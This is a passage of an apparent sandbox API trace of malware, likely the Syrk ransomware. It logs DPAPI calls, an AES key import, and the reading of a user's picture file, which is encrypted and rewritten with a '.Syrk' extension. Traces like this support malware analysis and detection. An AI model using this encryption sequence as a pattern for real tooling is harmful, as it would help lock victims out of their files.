Memory=0x32ce8c) returned 0x0 [0255.765] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.765] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.765] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.766] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0255.766] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.766] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.766] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.766] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.766] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0255.766] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.766] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.766] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.766] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.767] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0255.767] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.767] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0255.767] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.768] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.768] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.768] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.768] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0255.768] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.768] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.768] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.768] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.768] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0255.768] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.768] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.768] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.768] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.769] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0255.769] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.769] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.769] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.769] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.769] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0255.769] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.769] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.769] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.769] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.769] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0255.769] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.770] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.770] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0255.770] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.770] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.770] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0255.770] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0255.771] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.771] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0255.771] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.771] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.771] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0255.772] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.772] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.772] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0255.772] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.772] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.772] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.772] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.772] EtwEventActivityIdControl () returned 0x0 [0255.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.773] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.773] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.773] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.774] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0255.776] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x2382eb8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c996a0) returned 1 [0255.776] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.776] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.777] EtwEventActivityIdControl () returned 0x0 [0255.777] EtwEventActivityIdControl () returned 0x0 [0255.777] EtwEventActivityIdControl () returned 0x0 [0255.894] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif")) returned 0x20 [0255.895] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif")) returned 0x20 [0255.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0255.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", lpFilePart=0x0) returned 0x26 [0255.896] EtwEventActivityIdControl () returned 0x0 [0255.896] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.897] EtwEventActivityIdControl () returned 0x0 [0255.897] EtwEventActivityIdControl () returned 0x0 [0255.897] EtwEventActivityIdControl () returned 0x0 [0255.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0255.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", lpFilePart=0x0) returned 0x26 [0255.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.901] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0255.901] GetFileType (hFile=0x364) returned 0x1 [0255.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.901] GetFileType (hFile=0x364) returned 0x1 [0255.901] EtwEventActivityIdControl () returned 0x0 [0255.902] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.902] EtwEventActivityIdControl () returned 0x0 [0255.902] EtwEventActivityIdControl () returned 0x0 [0255.902] EtwEventActivityIdControl () returned 0x0 [0255.903] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0255.903] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk", lpFilePart=0x0) returned 0x2b [0255.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.903] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0255.904] GetFileType (hFile=0x368) returned 0x1 [0255.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.904] GetFileType (hFile=0x368) returned 0x1 [0255.904] EtwEventActivityIdControl () returned 0x0 [0255.904] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x239327c | out: pbBuffer=0x239327c) returned 1 [0255.905] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.905] CryptDuplicateKey (in: hKey=0x5c996a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99ae0) returned 1 [0255.905] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.906] CryptSetKeyParam (hKey=0x5c99ae0, dwParam=0x4, pbData=0x23945b4*=0x1, dwFlags=0x0) returned 1 [0255.906] CryptSetKeyParam (hKey=0x5c99ae0, dwParam=0x1, pbData=0x2394574, dwFlags=0x0) returned 1 [0255.906] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.906] EtwEventActivityIdControl () returned 0x0 [0255.906] EtwEventActivityIdControl () returned 0x0 [0255.906] EtwEventActivityIdControl () returned 0x0 [0255.907] EtwEventActivityIdControl () returned 0x0 [0255.909] ReadFile (in: hFile=0x364, lpBuffer=0x23971f0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23971f0*, lpNumberOfBytesRead=0x5a2e7d8*=0x12f2a, lpOverlapped=0x0) returned 1 [0255.910] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ab208*, pdwDataLen=0x5a2e7cc*=0x12f20, dwBufLen=0x12f20 | out: pbData=0x23ab208*, pdwDataLen=0x5a2e7cc*=0x12f20) returned 1 [0255.911] WriteFile (in: hFile=0x368, lpBuffer=0x2393358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2393358*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0255.913] WriteFile (in: hFile=0x368, lpBuffer=0x23ac1f4*, nNumberOfBytesToWrite=0x11f34, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23ac1f4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x11f34, lpOverlapped=0x0) returned 1 [0255.914] ReadFile (in: hFile=0x364, lpBuffer=0x23971f0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23971f0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0255.914] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23be134*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23be134*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0255.914] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23be150*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23be150*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0255.915] WriteFile (in: hFile=0x368, lpBuffer=0x2393358*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2393358*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0255.915] CloseHandle (hObject=0x368) returned 1 [0255.917] CloseHandle (hObject=0x364) returned 1 [0255.917] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.917] EtwEventActivityIdControl () returned 0x0 [0255.917] EtwEventActivityIdControl () returned 0x0 [0255.917] EtwEventActivityIdControl () returned 0x0 [0255.923] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif")) returned 0x20 [0255.925] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0255.925] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", lpFilePart=0x0) returned 0x26 [0255.925] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.925] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.925] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0255.925] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0255.925] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.925] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.926] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0255.926] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0255.926] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.926] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.926] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0255.926] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0255.926] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.926] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.926] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0255.926] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0255.926] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif")) returned 0x20 [0255.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0255.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", lpFilePart=0x0) returned 0x26 [0255.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0255.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", lpFilePart=0x0) returned 0x26 [0255.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0255.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0255.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", lpFilePart=0x0) returned 0x26 [0255.930] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0255.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0255.930] CoTaskMemAlloc 